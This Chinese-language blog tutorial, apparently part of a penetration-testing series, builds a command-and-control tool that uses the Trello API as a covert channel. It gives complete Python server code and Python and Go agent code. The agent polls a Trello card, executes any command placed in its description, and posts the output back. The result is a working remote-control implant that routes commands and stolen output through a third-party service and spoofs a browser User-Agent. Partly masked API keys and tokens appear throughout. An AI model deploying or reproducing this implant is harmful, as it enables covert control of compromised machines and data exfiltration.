上两期文章中,我们主要讲述了内网渗透中的金银票据攻击,本次番外篇将对C&C工具展开分析。
一. 起源
前段时间看到一个特别有意思的项目 是通过trello 类似在线便利贴的功能,通过它本身API进行数据传输,类似之前用推特、slack、维基BAIKE等第三方服务的api 进行传输。
https://github.com/securemode/TrelloC2
软件介绍
Trello 是一款著名的全平台项目管理、任务管理、多人协作看板。Trello 是一种简便、免费、灵活的可视化方式,可以管理你的项目并组织各种事务。
缺陷:虽可通过API 进行相关参数的传参,但是具有相关的局限性。Trello API“描述”字段的大小受限制,该字段用于临时存储命令和结果命令输出。我认为大约是16k个字符。对于大多数命令来说,这是可以的,但是,由于Trello API返回400 Bad Request(大小太大)状态,返回大输出的命令将导致代理死亡。注意命令及其预期的输出。我最终将按照某种逻辑来确定命令输出的大小,然后再将其发送回trello的服务器以供 ”黑客“使用。
整体结构:
二. 建立开发环境
1.创建Trello帐户:https://trello.com/signup2.登录后,获取您的API密钥:https://trello.com/app-key3.生成令牌(与应用程序密钥相同的页面,点击“token”链接),转到链接后,点击允许即可4.保存API密钥和令牌,将在后续编写脚本过程中使用。5.创建新看板,在新看板链接增加 .json 即可看到6.在后续的编写脚本中所需的列表ID。
三. 服务端流程分析
1.要想GET,先取ID值
ID是唯一标识符,并且是随机创建。我们根据官方文档,使用GET时候,必须要增加ID 的值,那么我们根据文档的POST数据得到的JSON值,其中就有ID的值,我们只需取JSON中ID 即可。
2.使用官方API调用,我们必须要密钥和令牌才能对其操作
参考官方API文档,根据文档中的POST的方法 进行传参。
https://developers.trello.com/reference#cards-2
3.POST数据
根据官方文档提供的API参数,我们进行对card 进行相关操作,使用POST方法 讲数据上传
list_id = "5e4b4a5239ec6a1bda1446fb"
api_key = "a9c4f22601673627660xxxx"
token = "f2cbfcf9b4164c7ce7093370181cc873b4e83368242xxxxxxx"
#根据 第一章第二节实验课中我们保存得到的相关ID
这是POST 后的数据,我们可以看到返回值两百,并有json返回,表示我们可以对该面板的card 有操作权限4.编写python POST 上传
使用python模拟POST上传,并获取json数据根据以上两点,我们对数据进行整理编写,将密钥、令牌等传参获得操作授权。POST传参 idList、name、key、token设定需post的数值为以下常量
list_id = "5e4b4a5239ec6a1bda1446fb"
api_key = "a9c4f22601673627660d1b4xxxxx"
token = "f2cbfcf9b4164c7ce7093370181cc873b4e83368242e315xxxxxx"
对数据POST上传
ua = {'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:67.0) Gecko/20100101 Firefox/67.0'}
api_endpoint = "https://trello.com/1/cards"
post_params = {"idList":list_id,"name": "test","key":api_key, "token":token}
req = requests.request("POST", api_endpoint, params=post_params, headers=ua, verify=True)
#POST数据
data = req.json()
#获取数据转换为json,以便后续取值
print (data)
data = req.json()
#获取数据转换为json,以便后续取值
card_id = data['id']
print("ID: " + card_id)
5.如何修改json数据并进行传参?
根据官方文档API 的PUT方法中,我们可以将desc 参数修改增加我们需要放入的命令
cards_endpoint = "https://trello.com/1/cards/" + card_id
#URL地址,获取card ID 地址内容
while True:
# 获取card的ID,以便PUT传参
put_cmd_params = {"name": "test","desc": "cmd:test","key": api_key,"token": token}
req = requests.request("PUT", cards_endpoint, params=put_cmd_params, headers=ua, verify=True)
# 进行PUT传参
put_json = req.json()
#获取PUT的json
print(put_json)
6.输入命令,将desc的内容变为变量
while True:
cmd = input(" command> ")
print(cmd)
则整理后的PUT代码为如下:
cards_endpoint = "https://trello.com/1/cards/" + card_id
while True:
cmd = input(" command> ")
# 获取card的ID,以便PUT传参
put_cmd_params = {"name": "test","desc": "cmd:"+cmd,"key": api_key,"token": token}
req = requests.request("PUT", cards_endpoint, params=put_cmd_params, headers=ua, verify=True)
# 进行PUT传参
put_json = req.json()
#获取PUT的json
print(put_json)
服务端:
#!/usr/bin/env python3
import requests, time, os, random, string
list_id = "5e4b4fe1c0ce316dcf19a61d"
api_key = "a9c4f22601673627660dxxxxx"
token = "f2cbfcf9b4164c7ce7093370181cc873bxxx"
#设定传参值
ua = {'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:67.0) Gecko/20100101 Firefox/67.0'}
api_endpoint = "https://trello.com/1/cards"
post_params = {"idList":list_id,"name": "test","key":api_key, "token":token}
req = requests.request("POST", api_endpoint, params=post_params, headers=ua, verify=True)
#POST数据
data = req.json()
#获取数据转换为json,以便后续取值
# card_id = data['id']
card_id = "5e4cd3566fd7033554d2acc0"
# print("ID: " + card_id)
cards_endpoint = "https://trello.com/1/cards/" + card_id
# 获取card的ID,以便PUT传参
def PUT(cmd):
#定义一个PUT方法,将cmd进行传参
put_cmd_params = {"name": "test","desc": "cmd:"+cmd,"key": api_key,"token": token}
req = requests.request("PUT", cards_endpoint, params=put_cmd_params, headers=ua, verify=True)
# 进行PUT传参
put_json = req.json()
#获取PUT的json
output_exists = False
#假设output回显退出条件为假
output = ""
#先定义output为空字符串
while not output_exists:
#循环条件为 不假,则不跳出循环
time.sleep(3)
get_params = {"name": "test","desc": "","key": api_key,"token": token}
req = requests.request("GET", cards_endpoint, params=get_params, headers=ua, verify=True)
response_data = req.json()
output = response_data['desc']
if "output:" in output: #循环条件,如果desc的值包含有output: 该字符串,则为真,跳出循环,并打印output的字符串
output_exists = True
print(output.split(":",1)[1])
#output的字符串
put_null_params = {"name": "test","desc": "","key": api_key,"token": token}
req = requests.request("PUT", cards_endpoint, params=put_null_params, headers=ua, verify=True)
#清除desc内容
while True:
cmd = input(" command> ")
if cmd =="help":
command_menu = """
> help (帮助参数)
> exit (退出)
"""
print(command_menu)
#判断 cmd接受的字符串为help 则打印command_menu
elif cmd =="exit":
break
#判断 cmd接受的字符串为exit 则跳出循环
else:
PUT(cmd)
四. 客户端golang版
流程:
固定随机ID值获取desc的值取值分割cmd,并执行其命令增加服务端判断是否有output字符串由于客户端是python版本,我就想打算重新以golang语言重新编写这样一来编译后的文件可以跨平台使用而且体积小,大体的编写思路与python相似
1.python版本
#!/usr/bin/env python3
import requests, time, os, random, string
list_id = "5e4b4fe1c0ce316dcf19a61d"
card_id="5e4cd3566fd7033554d2acc0"
api_key = "a9c4f226016736276xxxxxxxxxx"
token = "f2cbfcf9b4164c7ce7093370181cc873b4e83368242e3xxxxxxx"
ua = {'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:67.0) Gecko/20100101 Firefox/67.0'}
api_endpoint = "https://trello.com/1/cards/"+card_id
get_params = {"name": "test","desc": "","key": api_key,"token": token}
req = requests.request("GET", api_endpoint, params=get_params, headers=ua, verify=True)
response_data = req.json()
cmd = response_data['desc']
# print(cmd.split(":"))
# #以冒号分割,并切片。
# #取值第二个元素
while True:
cmd_exists = False
cmd = ""
#同服务端一样,设定cmd 跳出循环的条件为假,并初始化cmd为空字符串类型
while not cmd_exists: #循环条件为真,循环获取desc的值
time.sleep(3)
get_params = {"name": "test","desc": "hello","key": api_key,"token": token}
req = requests.request("GET", api_endpoint, params=get_params, headers=ua, verify=True)
response_data = req.json()
#获取该card的json内容
cmd = response_data['desc']
if "cmd:" in cmd: #判断 条件为如果 如果有cmd:字符串内容,就跳出循环条件
cmd_exists = True
out =os.popen(cmd.split(":")[1]).read()
#将输出回显的定义为out变量
put_params = {"name": "test","desc": "output:" + out,"key": api_key,"token": token}
req = requests.request("PUT", api_endpoint, params=put_params, headers=ua, verify=True)
#将out put方法回传给服务端
2.完整代码 golang
验证身份,并获取json我们使用 net/http库进行对 URL身份验证和Get数据
req, err := http.NewRequest("GET", "https://trello.com/1/cards/5e0f12cc5f6a8021ce726451", nil)
if err != nil {
log.Print(err)
os.Exit(1)
}
// GET URL
q := req.URL.Query()
q.Add("name", "demonsec666")
q.Add("desc", "hello")
q.Add("key", "a9c4f22601673627xxxxxxxx")
q.Add("token", "f2cbfcf9b4164c7ce7xxxxxxxxxxxx")
req.URL.RawQuery = q.Encode()
//jqery 内容
var resp *http.Response
resp, err = http.DefaultClient.Do(req)
if err != nil {
log.Print(err)
}
// fmt.Println(url)
defer resp.Body.Close()
body, err := ioutil.ReadAll(resp.Body)
if err != nil {
// handle error
}
json := string(body)
// 获取boby里面的字符串内容
fmt.Println(json)
获取desc的值
// 将GET URL 中的json值赋值给json变量
desc := gjson.Get(json, "desc")
//获取json变量中的desc key的值
fmt.Println(desc.String())
这里使用的是github.com/tidwall/gjson的库,用来获取json中desc的值
取值分割cmd,并执行其命令
cmd := strings.Split(desc.String(), ":")
//获取desc的值并用:分割为数组
if cmd[0] != "cmd" {
continue // 判断是否有cmd字符串,如果是就跳转循环
} else { //否则就执行下面语句
command := exec.Command(cmd[1])
//取值为第二元素为服务端接受的命令,并执行命令
out, err := command.CombinedOutput()
if err != nil {
log.Fatalf("cmd.Run() failed with %s\n", err)
}
output := string(out)
//将执行的命令返回结果赋值给output变量
str := "output:" + output
fmt.Printf(str)
}
使用put 将output回传给服务端这里用到的库是编码Golang 中的UTF-8 与GBK 编码转换的库和中文编码的库
"golang.org/x/text/encoding/simplifiedchinese"
"golang.org/x/text/transform"
// PUT 数据
o := put.URL.Query()
o.Add("name", "demonsec666")
o.Add("desc", str)
o.Add("key", "a9c4f22601673627660xxxxxx")
o.Add("token", "f2cbfcf9b4164c7ce7093370181cc873b4e83368242e3xxxxx")
put.URL.RawQuery = o.Encode()
if err != nil {
// handle error
}
var resps *http.Response
resps, err = http.DefaultClient.Do(put)
if err != nil {
log.Print(err)
}
defer resps.Body.Close()
五. 最终效果
package main
import (
"bytes"
"fmt"
"io/ioutil"
"log"
"net/http"
"os"
"os/exec"
"strings"
"github.com/tidwall/gjson"
"golang.org/x/text/encoding/simplifiedchinese"
"golang.org/x/text/transform"
)
func GbkToUtf8(s []byte) ([]byte, error) {
reader := transform.NewReader(bytes.NewReader(s), simplifiedchinese.GBK.NewDecoder())
d, e := ioutil.ReadAll(reader)
if e != nil {
return nil, e
}
return d, nil
}
func Utf8ToGbk(s []byte) ([]byte, error) {
reader := transform.NewReader(bytes.NewReader(s), simplifiedchinese.GBK.NewEncoder())
d, e := ioutil.ReadAll(reader)
if e != nil {
return nil, e
}
return d, nil
}
func main() {
for true {
req, err := http.NewRequest("GET", "https://trello.com/1/cards/5e0f12ccxxxx", nil)
if err != nil {
log.Print(err)
os.Exit(1)
}
// GET URL
q := req.URL.Query()
q.Add("name", "demonsec666")
q.Add("desc", "hello")
q.Add("key", "a9c4f2260167362766xxxx")
q.Add("token", "f2cbfcf9b4164c7ce7093370181cc873b4e83368xxxxx")
req.URL.RawQuery = q.Encode()
//jqery 内容
// Output:
// http://api.themoviedb.org/3/tv/popular?another_thing=foo+%26+bar&api_key=key_from_environment_or_flag
var resp *http.Response
resp, err = http.DefaultClient.Do(req)
if err != nil {
log.Print(err)
}
// fmt.Println(url)
defer resp.Body.Close()
body, err := ioutil.ReadAll(resp.Body)
if err != nil {
// handle error
}
json := string(body)
//将GET URL 中的json值赋值给json变量
desc := gjson.Get(json, "desc")
//获取json变量中的desc key的值
cmd := strings.Split(desc.String(), ":")
//获取desc的值并用:分割为数组
if cmd[0] != "cmd" {
continue // 判断是否有cmd字符串,如果是就跳转循环
} else { //否则就执行下面语句
command := exec.Command(cmd[1])
//取值为第二元素为服务端接受的命令,并执行命令
out, err := command.CombinedOutput()
if err != nil {
log.Fatalf("cmd.Run() failed with %s\n", err)
}
output := string(out)
str := "output:" + output
fmt.Printf(str)
//将执行的命令返回结果赋值给output变量
put, err := http.NewRequest("PUT", "https://trello.com/1/cards/5e0f12cc5f6a80xxxx", nil)
if err != nil {
log.Print(err)
os.Exit(1)
}
// GET URL
o := put.URL.Query()
o.Add("name", "demonsec666")
o.Add("desc", str)
o.Add("key", "a9c4f22601673627xxxxxx")
o.Add("token", "f2cbfcf9b4164c7ce709337xxxxx")
put.URL.RawQuery = o.Encode()
if err != nil {
// handle error
}
var resps *http.Response
resps, err = http.DefaultClient.Do(put)
if err != nil {
log.Print(err)
}
defer resps.Body.Close()
}
}
}